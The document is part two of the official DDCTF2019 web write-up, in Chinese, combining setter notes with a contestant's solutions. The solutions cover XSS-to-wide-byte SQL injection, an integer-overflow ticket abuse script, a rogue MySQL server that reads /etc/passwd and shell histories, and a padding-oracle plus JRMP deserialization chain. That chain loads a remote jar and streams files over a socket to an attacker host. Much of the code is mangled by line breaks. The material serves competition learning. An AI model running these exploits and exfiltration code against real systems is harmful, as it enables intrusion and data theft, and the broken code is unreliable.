【知识库】DDCTF2019官方Write Up——Web篇(二)
官方writeup公布时间线
Web作者:cl0und
成都信息工程大学/大三/Web Top1
文章目录
Web Write Up(所有题目均含出题人解析)
0x05 :欢迎报名DDCTF
0x06 :大吉大利,今晚吃鸡~
0x07 :mysql弱口令
0x08 :再来1杯Java
0x01 :滴~(见第一篇)
0x02 :WEB 签到题(见第一篇)
0x03 :Upload-IMG(见第一篇)
0x04 :homebrew event loop(见第一篇)
05
欢迎报名DDCTF
这道题目其实比较简单,题目一开始是一个报名页面,很多同学可能会尝试注入,注入失败后,应该能想到XSS。事实上点击提交后弹出框框,也是一种隐形的提示,这里XSS的目的不是获取cookie,而是查看源码。源码中有一个隐藏的API接口,这个接口存在宽字节注入漏洞,而且可以根据GBK也能想到宽字节注入。事实上这个题目,使用Beaf和Sqlmap,即可轻松解决。一方面考察了选手的基本能力,另一方面,也考察了选手对一些常用工具的灵活运用。
--------------选手Write Up--------------
题目链接:http://117.51.147.2/Ze02pQYLf5gGNyMn/
之前一直各种测sql注入没反应,后来祭出了万能poc,发现是xss
App"/>http://6lsz939vedevmdegkun2wnzb52bszh.burpcollaborator.ne t/">
'${9*9}[!--+*)(&
用在线xss平台可以打到后台网页源码,页面源码中泄漏了一个接口。
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id
=1
当时一直卡在这里,遍历了id没反应,用xss测试之前发现的几个页面也没有发现(知道本题结做完 我都不知道login.php干嘛的)。后来等到提示说是注入,注意到泄露的这个接返回的 content-
type 是gbk,猜测这里是宽子节注入,手测没测出来,试试sqlmap的神秘力量。
inject.txt
GET /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df* HTTP/1.1 Host: 117.51.147.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/2 0100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://117.51.147.2/Ze02pQYLf5gGNyMn/ Connection: close
Upgrade-Insecure-Requests: 1
sqlmap跑一波
python sqlmap.py -r inject.txt --level 3
最后dump字段的时候sqlmap忽然开始盲注了,为了尽快做出来直接用sqlmap的payload手注了一
下
06
大吉大利,今晚吃鸡~
出题思路
本题来自于某个thrif版本在golang和java通信时 整数溢出导致精度丢失的问题,期望选手可以思考一下golang的订单系统 和java的支付系统之间的调用逻辑.
官方write_up
一开始这题我给的是150分~因为作为我个人来说 我还是更期望 大部分选手能成功拿到分数,也期待看到多种不同的解法,所以在上线的时候 修改一些逻辑(比如注册,之前的预设是在ddctf平台直接给参数跳转),另外 部署在mysql同一台服务器 也是故意希望参赛选手可以通过任意文件读取 读一下代码 看看出题人真正想看到什么样的 write_up,不过很可惜的是,参赛选手上交的writeup 并没有出现出题人希望看到的解法,并且一致抱怨跑脚本看运气~
官方预设解法
1、通过int32整数溢出 获得ticket,通过md5 hash扩展攻击,通过删除自己的回显破解出key的长度,最后通过md5 hash扩展攻击移除机器人
2、通过mysql那道题 读取源码拿到flag (并不是bug)
3、通过批量注册遍历hash值解题。
4、通过越权直接读参赛选手的get_ticket接口解题。
解题思路很多,一开始以为大部分人会按照给的提示用hash扩展的方法先把题目解了,再去想其他办法~没想到最后收到的write up如出一辙
--------------选手Write Up--------------
题目链接:http://117.51.147.155:5050/index.html#/login
经过测试订单的钱可以改只要大于1000就可以,最后购买的时候在处理32-64位之间的整数时,会取到低32位。凭票入场之后就是吃鸡战场,每一个入场的选手都会又一个id和ticket,输入别人的就可以让人数减一。手快不如工具快,老汉能把青年赛,放脚本批量注册小号批量杀就可以了。
import requests import json import time import uuid import hashlib
proxies = {'http':'127.0.0.1:8080'}
def create_md5(): m=hashlib.md5()
m.update(bytes(str(time.time()))) return m.hexdigest()
def register_pay():
session = requests.Session()
paramsGet = {"name":create_md5(),"password":create_md5()} print(paramsGet)
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/register", params=paramsGet, headers=headers, proxies=proxies)
time.sleep(0.5)
print(session.cookies)
#print("Status code: %i" % response.status_code) #print("Response body: %s" % response.content)
paramsGet = {"ticket_price":"4294967296"}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/buy_ticket"
, params=paramsGet, headers=headers, proxies=proxies)
time.sleep(0.5)
#print("Status code: %i" % response.status_code) #print("Response body: %s" % response.content)
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/search_bill
_info", headers=headers, proxies=proxies) # print(response.text)
bill_id = json.loads(response.text)['data'][0]["bill_id"]
time.sleep(0.5)
#print("Status code: %i" % response.status_code) #print("Response body: %s" % response.content)
paramsGet = {"bill_id":bill_id}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/pay_ticket"
, params=paramsGet, headers=headers, proxies=proxies) #print("Status code: %i" % response.status_code) #print("Response body: %s" % response.content) time.sleep(0.5)
headers = {"Accept":"application/json","Cache-Control":"max-age=0","Us er-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20 100101 Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Co nnection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gz ip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/search_tick et", headers=headers, proxies=proxies)
#print("Status code: %i" % response.status_code) #print("Response body: %s" % response.content) #print(response.text)
id = json.loads(response.text)['data'][0]['id']
ticket = json.loads(response.text)['data'][0]['ticket'] print(id, ticket)
return id,ticket
def kill(id, ticket): time.sleep(0.5)
session = requests.Session()
paramsGet = {"ticket":ticket,"id":id}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Maci ntosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Refere r":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-La nguage":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"REVEL_SESSION":"3b2bacbee8fb18e1b1457171b422999d","user_na me":"cl0und"}
response = session.get("http://117.51.147.155:5050/ctf/api/remove_robo t", params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code) print("Response body: %s" % response.content)
if name == ' main ': while True:
try:
id, ticket = register_pay() kill(id, ticket) time.sleep(0.5)
except Exception as e: print e
杀完之后就有flag
06
大吉大利,今晚吃鸡~ 非预期解法
赛后看了其他师傅的wp,发现有些师傅以为这道考的是golang的整形溢出+批量kill小号,其实看到出题人的源码之后才知道。出题人是用python(flask)模拟了一个golang整形溢出的web环境,并且 吃鸡战场的本意是想考hash长度扩展攻击(心情复杂.jpg)。发现这点原因是通过读mysql那道题的 .bash_history 可以发现出题人把这两道题放在同一台服务器上的。
实际读一下,可以发现web2对应的是mysql题
web1对应的是吃鸡题
在/home/dc2user/ctf_web_1/web_1/app/main/views.py 可以把部分主干代码都读出来(工具问题,换个工具应该可以读全),这里已经有可以看到flag了
# coding=utf-8
from flask import jsonify, request,redirect from app import mongodb
from app.unitis.tools import get_md5, num64_to_32
from app.main.db_tools import get_balance, creat_env_db, search_bill, secr ity_key, get_bill_id
import uuid
from urllib import unquote mydb = mongodb.db
flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''
def register():
result = []
user_name = request.args.get('name') password = request.args.get('password')
if not user_name or not password:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []}) return response
if not len(password)>=8:
response = jsonify({"code": 404, "msg": "密码必须大于等于8位", "data"
: []})
return response
else:
hash_val = get_md5(user_name, 'DDCTF_2019')
name}):
if not mydb.get_collection('account').find_one({'user_name': user_
mydb.get_collection('account').insert_one({'user_name': user_n
ame, 'password' :password, 'balance': 100,
l, 'flag': 'test'})
'hash_val': hash_va
result})
tmp_result = {'user_name': user_name, 'account': 100} result.append(tmp_result)
response = jsonify({"code": 200, "msg": "用户注册成功", "data":
response.set_cookie('user_name', user_name) response.set_cookie('REVEL_SESSION', hash_val) response.headers['Server'] = 'Caddy'
return response
[]})
else:
response = jsonify({"code": 404, "msg": "用户已存在", "data":
response.set_cookie('user_name', user_name) response.set_cookie('REVEL_SESSION', hash_val) response.headers['Server'] = 'Caddy'
return response
def login():
result = []
user_name = request.args.get('name') password = request.args.get('password')
if not user_name or not password:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []}) return response
if not mydb.get_collection('account').find_one({'user_name': user_nam e}):
lt})
response = jsonify({"code": 404, "msg": "该用户未注册", "data": resu
return response
if not password == mydb.get_collection('account').find_one({'user_nam e': user_name})['password']:
response = jsonify({"code": 404, "msg": "密码错误", "data": resul
t})
return response else:
hash_val = mydb.get_collection('account').find_one({'user_name': u
ser_name})['hash_val']
response = jsonify({"code": 200, "msg": "登陆成功", "data": resul
t})
response.set_cookie('user_name', user_name) response.set_cookie('REVEL_SESSION', hash_val) response.headers['Server'] = 'Caddy'
return response
def get_user_balance(): result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "您未登陆", "data": []})
response.headers['Server'] = 'Caddy' return response
else:
str_md5 = get_md5(user_name, 'DDCTF_2019') if hash_val == str_md5:
balance = get_balance(user_name) bill_id = get_bill_id(user_name)
tmp_dic = {'balance': balance , 'bill_id': bill_id} result.append(tmp_dic)
return jsonify({"code": 200, "msg": "查询成功", "data": resul
t})
else:
return jsonify({"code": 404, "msg": "参数错误", "data": []})
def buy_ticket():
result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') ticket_price = int(request.args.get('ticket_price')) if not user_name or not hash_val or not ticket_price:
response = jsonify({"code": 404, "msg": "参数错误", "data": []})
response.headers['Server'] = 'Caddy' return response
str_md5 = get_md5(user_name, 'DDCTF_2019') if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Server'] = 'Caddy' return response
if ticket_price < 1000:
response = jsonify({"code": 200, "msg": "ticket门票价格为2000", "da ta": []})
response.headers['Server'] = 'Caddy' return response
if search_bill(user_name): tmp_list = []
bill_tmp = {'bill_id': search_bill(user_name)} tmp_list.append(bill_tmp)
response = jsonify({"code": 200, "msg": "请支付未完成订单", "data":
tmp_list})
response.headers['Server'] = 'Caddy' return response
else:
# 生成uuid 保存订单
hash_id = str(uuid.uuid4())
tmp_dic = {'user_name': user_name, 'ticket_price': ticket_price, 'bill_id': hash_id}
mydb.get_collection('bill').insert_one(tmp_dic) result.append({'user_name': user_name, 'ticket_price': ticket_pric
e, 'bill_id': hash_id})
response = jsonify({"code": 200, "msg": "购买门票成功", "data": resu
lt})
response.headers['Server'] = 'Caddy' return response
def search_bill_info(): result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "您未登陆", "data": []})
response.headers['Server'] = 'Caddy' return response
else:
str_md5 = get_md5(user_name, 'DDCTF_2019') if hash_val == str_md5:
tmp = mydb.get_collection('bill').find_one({'user_name': user_
name})
esult})
if not tmp:
return jsonify({"code": 200, "msg": "不存在订单", "data": r
bill_id = tmp['bill_id'] user_name =user_name
bill_price = tmp['ticket_price']
tmp_dic = {'user_name': user_name, 'bill_id': bill_id, 'bill_p
rice': bill_price}
result.append(tmp_dic)
return jsonify({"code": 200, "msg": "查询成功", "data": resul
t})
else:
return jsonify({"code": 404, "msg": "参数错误", "data": []})
def recall_bill():
result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') bill_id = request.args.get('bill_id')
if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []}) response.headers['Server'] = 'Caddy'
return response
str_md5 = get_md5(user_name, 'DDCTF_2019') if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Server'] = 'Caddy' return response
tmp =mydb.get_collection('bill').find_one({'bill_id': bill_id}) if not tmp:
response = jsonify({"code": 404, "msg": "订单号不存在", "data": []})
response.headers['Server'] = 'Caddy' return response
if tmp['user_name'] != user_name:
response = jsonify({"code": 404, "msg": "订单号不存在", "data": []}) response.headers['Server'] = 'Caddy'
return response else:
mydb.get_collection('bill').delete_one({'bill_id': bill_id}) tmp_result = {'user_name': tmp['user_name'], 'bill_id': tmp['bill_
id'], 'ticket_price': tmp['ticket_price']} result.append(tmp_result)
response = jsonify({"code": 200, "msg": "订单已取消", "data": resul
t})
response.headers['Server'] = 'Caddy' return response
def pay_ticket():
result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') bill_id = request.args.get('bill_id')
if not user_name or not hash_val or not bill_id:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []}) response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0' return response
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []}) response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
tmp_obj = mydb.get_collection('bill').find_one({'bill_id':bill_id}) if not tmp_obj:
response = jsonify({"code": 404, "msg": "订单信息有误", "data": []})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0' return response
tmp_price = mydb.get_collection('bill').find_one({'user_name': user_na me})['ticket_price']
tmp_bill_uuid = mydb.get_collection('bill').find_one({'bill_id': bill_ id})['bill_id']
price = num64_to_32(tmp_price)
tmp_account = mydb.get_collection('account').find_one({'user_name': us er_name})['balance']
if tmp_bill_uuid == bill_id: if tmp_account >= price:
if mydb.get_collection('user_env').find_one({'user_name': user
_name}):
tmp = mydb.get_collection('user_env').find_one({'user_nam
e': user_name})['user_info_list']
for item in tmp:
if item['user_name'] == user_name: result.append(item)
else:
pass
response = jsonify({"code": 200, "msg": "已购买ticket",
"data": result})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0'
return response else:
account = tmp_account - price mydb.get_collection('account').update_one({'user_name': us
er_name}, {'$set': {'balance': account}},
d})
upsert=True) mydb.get_collection('bill').delete_one({'bill_id': bill_i
tmp_info = creat_env_db(user_name) mydb.get_collection('user_env').insert_one(tmp_info[0]) tmp_result = {'your_ticket': tmp_info[1]['hash_val'], 'you
r_id': tmp_info[1]['id']}
result.append(tmp_result)
response = jsonify({"code": 200, "msg": "交易成功", "data":
result})
else:
response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0' return response
[]})
else:
response = jsonify({"code": 200, "msg": "余额不足", "data":
response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0' return response
response = jsonify({"code": 200, "msg": "订单信息有误", "data": []}) response.headers['Pay-Server'] = 'Apache-Coyote/1.1' response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
def is_login():
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []})
response.headers['Server'] = 'Caddy' return response
str_md5 = get_md5(user_name, 'DDCTF_2019') if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Server'] = 'Caddy' return response
response = jsonify({"code": 200, "msg": "您已登陆", "data": []})
return response
def search_ticket(): result = []
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []})
response.headers['Server'] = 'Caddy' return response
str_md5 = get_md5(user_name, 'DDCTF_2019') if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Server'] = 'Caddy' return response
tmp = mydb.get_collection('user_env').find_one({'user_name': user_nam
e})
if not tmp:
response = jsonify({"code": 404, "msg": "你还未获取入场券", "data":
[]})
response.headers['Server'] = 'Caddy' return response
if tmp:
tmp_dic = {'ticket': tmp['player_info']['hash_val'], 'id': tmp['pl ayer_info']['id']}
result.append(tmp_dic)
response = jsonify({"code": 200, "msg": "ticket信息", "data": resu
lt})
response.headers['Server'] = 'Caddy' return response
def remove_robot():
result = [] sign_str = ''
user_name = request.cookies.get('user_name') hash_val = request.cookies.get('REVEL_SESSION') a = request.environ['QUERY_STRING'] params_list = []
for item in a.split('&'): k, v = item.split('=')
params_list.append((k, v))
user_id = request.args.get('id') ticket = request.args.get('ticket')
if not user_name or not hash_val or not user_id or not ticket: response = jsonify({"code": 404, "msg": "参数错误", "data": []}) response.headers['Server'] = 'Caddy'
return response
# if not str.isdigit(user_id):
# return jsonify({"code": 0, "msg": "参数错误", "data": []})
str_md5 = get_md5(user_name, 'DDCTF_2019') if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误"
读一下tools.py可以看到出题人费劲心机模拟golang,看样子也是想考hash长度扩展攻击的
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2/1/2019 10:47 PM
# @Author : fz # @Site :
# @File : tools.py # @Software: PyCharm
import decimal import datetime import types import hashlib
from flask.json import JSONEncoder from urllib import unquote
from urllib import quote_plus
secrity_key = 'Winner, winner, chicken dinner!' def pretty_floats(obj):
if isinstance(obj, float) or isinstance(obj, decimal.Decimal): return round(obj, 2)
elif isinstance(obj, dict):
return dict((k, pretty_floats(v)) for k, v in obj.iteritems()) elif isinstance(obj, (list, tuple)):
return map(pretty_floats, obj) return obj
# 空值变为0
def pretty_data(obj):
if isinstance(obj, types.NoneType) or obj == "": return 0
elif isinstance(obj, dict):
return dict((k, pretty_data(v)) for k, v in obj.iteritems()) elif isinstance(obj, (list, tuple)):
return map(pretty_data, obj) return obj
class CustomJSONEncoder(JSONEncoder): def default(self, obj):
try:
ime.date):
if isinstance(obj, datetime.datetime) or isinstance(obj, datet
encoded_object = obj.strftime('%Y-%m-%d') return encoded_object
iterable = iter(obj)
except TypeError: pass
else:
return list(iterable)
return JSONEncoder.default(self, obj)
#
def percent_div(up, down): if up == 0 or up is None:
return 0
try:
return round((up / down) * 100, 2)
except ZeroDivisionError: return 0
#
def num64_to_32(num):
str_num = bin(num) if len(str_num) > 66:
return False
if 34 < len(str_num) < 66: str_64 = str_num[-32:] result = int(str_64, 2) return result
if len(str_num) < 34: result = int(str_num, 2) return result
#
def get_md5(string, secret_key): m = hashlib.md5() m.update(secret_key+string) return m.hexdigest()
if name == " main ":
print get_md5('id137', 'Winner, winner, chicken dinner!') print get_md5('id80', secrity_key)
str = unquote('id80%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0 0%00%00%00%00%18%01%00%00%00%00%00%00id51')
str_new = secrity_key + str print str_new
print ('''id80x80x00x00x00x00x00x00x00x00x00x00x00x00x00
x00x00x00x00x00x00x00x18x01x00x00x00x00x00x00id51''') print quote_plus('''
''')
07
mysql弱口令
出题思路
本题思路是源于某次蓝军工作反攻扫描器的思路~ 本题本来预设的分数是200,所以一般设定为了解了mysql 任意文件读取的即可获得分数。
/* 本题出现了未预期解法,通过读.mysql_history,从而不需要去拿到路径这是预期之外的解法*/
官方write_up
1、通过读 .bash_history 拿到文件路径,获得提示,读取数据库文件拿到flag
2、提示最多的解法竟然没有人发现。。。curl的本地ssrf打mysql。
例子:
http://117.51.147.155:5000/ctf/api/weak_scan?target_ip=150.109.106.49&target_port=3306
--------------选手Write Up--------------
题目链接:http://117.51.147.155:5000/index.html#/scan
题目的逻辑大概是,在vps运行agent.py,这个服务器会列出vps上的进程信息,然后在题目页面输入自己mysql的端口号,扫描器会先来访问agent.py监听端口check是否会有mysqld进程,如果有那 么进行弱口令测试。
这种反击mysql扫描器的思路感觉之前已经被出过很几次了,最早看到的中文分析文章是lightless师 傅的这篇
https://lightless.me/archives/read-mysql-client-file.html
具体的工具可以参看这篇https://www.freebuf.com/vuls/188910.html 打一个poc
set mysql.server.infile /etc/passwd; mysql.server off; mysql.server on;
读取三种常见的history .bash_history (这里有个非预期后面会讲), .vim_history ,
.mysql.history 。
mysql历史里面有flag
08
再来1杯Java
本题思路是基于现在广泛使用的`Spring Boot`框架抽象提取的业务场景。考点`Padding Oracle`出题失误,把明文显示出来了,造成选手直接构造CBC翻转攻击的独特解法,很赞。`反序列化漏洞`的考点,本来想去掉SerialKiller工具里面关于`JRMP`防护部分,题目测试时候发现可以直接绕过,也就没改、加大了难度。考察漏洞攻击理解的同时,通过限制命令执行操作,着重考察了同学们的Java编程能力。做出题目的2位同学用的思路都不一样,都很棒。希望做过这道题目的同学能够从中学到一些知识,而不执著于题目本身。
--------------选手Write Up--------------
题目链接:
116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
在 /api/account_info 可以看到权限信息
bae64解密token可以看到token的提示是 oracle padding cbc
这里思路应该是通过padding oracle把 roleAdmin 改为true,具体思路是使用精心构造的iv控制第一段解密出的明文,用第二段密文控制第三段明文内容,中间的脏字符从第一段和第三段明文中匀出 双引号包裹,大概样子如下图。
这种思路下其实还是超长了,当时想的苟一苟把true改成1,结果就可以了(java不是强类型吗?是
fastjson的问题?),脚本如下
from Crypto.Util.strxor import strxor from base64 import *
import requests
#pip install pycrypto
def xor(a, b):
return chr(ord(a)^ord(b))
def get_source_code(url, cipher): session = requests.Session() session.cookies['token'] = cipher web = session.get(url)
return web.text
url = 'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/acco unt_info'
str = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'
token = b64decode(str)
iv = token[:16] C1 = token[16:32] C2 = token[32:]
raw_iv = 'PadOracle:iv/cbc'
json = '{"id":100,"roleAdmin":false}' D_C1 = strxor(json[:16], raw_iv)
cipher = strxor(strxor(iv, json[:16]), '{"roleAdmin":1,"')+C1+strxor(strxo r(C2, strxor(D_C1, C2)), '":"1","id":001}'+chr(1))+C1
cipher = b64encode(cipher)
state = get_source_code(url, cipher) print state
print cipher
抓包改一下即可来到管理员界面
其中1.txt给了一些hint
同时filename存在任意文件读取漏洞,跑一下常见路径可以拿到一份源码泄漏
审计一下代码可以看到虽然项目使用的是有漏洞的commons-collections并且还存在一个明显的反 序列化点,不过不幸的是在反序列化之前用SerialKiller对反序列化出来的类做了黑名单处理。
一开始的思路是用最近出的工具gadget-inspector.jar自动化寻找新的gadget,但是没有找到。。。
等到中午的时候官方放了提示说是利用 jrmp ,在先知上找到一片文章Weblogic JRMP反序列化漏洞回顾,在CVE-2018-?那里作者给出了一个payload我发现稍微改一下打到服务器那边就会有反应。
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingE xception;
import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnectionImpl_Stub; import javax.naming.ConfigurationException;
import java.io.ByteArrayOutputStream; import java.io.IOException;
import java.io.ObjectOutputStream; import java.rmi.server.ObjID; import java.util.Random;
public class Poc {
public static void main(String[] args) throws IOException, ClassNotFou ndException, ConfigurationException, Base64DecodingException {
String host; int port; host = "ip"; port = 1099;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
t);
ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(ou
objectOutputStream.writeObject(stub);
System.out.println(java.util.Base64.getEncoder().encodeToString(ou t.toByteArray()).toString());
}
}
服务器监听可以成功接受到请求
下面要做的就是用ysoserial开一个jrmp监听,把真正的payload回传给服务器。虽然构造用的
gadget是走commons-collections但是这里不过serialkiller所以不会被拦截。因为之前提示说过这个
环境不能执行命令,所以需要自己在ysoserial中自定义个一个反射链,随风师傅博客中提到的
classloder方案
最后代码如下
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;
import java.util.HashMap; import java.util.Map;
/*
Gadget chain:
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet() AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
Method.invoke() Class.getMethod()
InvokerTransformer.transform() Method.invoke()
Runtime.getRuntime() InvokerTransformer.transform()
Method.invoke() Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b 3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
SuppressWarnings({"rawtypes", "unchecked"})
PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections7 extends PayloadRunner implements ObjectPa yload< BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String fileName) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
// newinstance string http://www.iswin.org/attach/iswin.jar new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new jav
a.net.URL(
}),
"http://ip:8080/getflag2.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "getflag2"
// set the target reverse ip and port new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance", new Class[] { Object[].class },
new Object[] { new String[] { fileName } }), new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpExcept ion(null);
Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", trans formers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections7.class, args);
}
public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj();
}
}
重新打包后丢到自己的vps上,顺便在在vps打包一个getflag2.jar Getflag2.java
import java.io.*; import java.net.Socket;
public class Getflag2 {
public Getflag2(String fileName) { try {
Socket socket = new Socket("ip", 8080);
OutputStream socketOutputStream = socket.getOutputStream();
DataOutputStream dataOutputStream = new DataOutputStream(socke tOutputStream);
File file = new File(fileName);
if (file.isDirectory()) {
for (File temp : file.listFiles()) { dataOutputStream.writeUTF(temp.toString());
e);
}
} else {
FileInputStream fileInputStream = new FileInputStream(fil
InputStreamReader inputStreamReader = new InputStreamReade
r(fileInputStream);
BufferedReader bufferedReader = new BufferedReader(inputSt
reamReader);
String line;
while ((line = bufferedReader.readLine()) != null) { dataOutputStream.writeUTF(line);
}
}
dataOutputStream.flush();
} catch (FileNotFoundException e) { e.printStackTrace();
} catch (IOException e) { e.printStackTrace();
}
}
}
然后在服务端上开一个web服务提供getflag2.jar的下载,再开一个jrmp就可以看是随缘读flag了。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1 099 CommonsCollections7 '/etc/passwd'
最后找到flag在根目录的flag文件夹下
补充说明
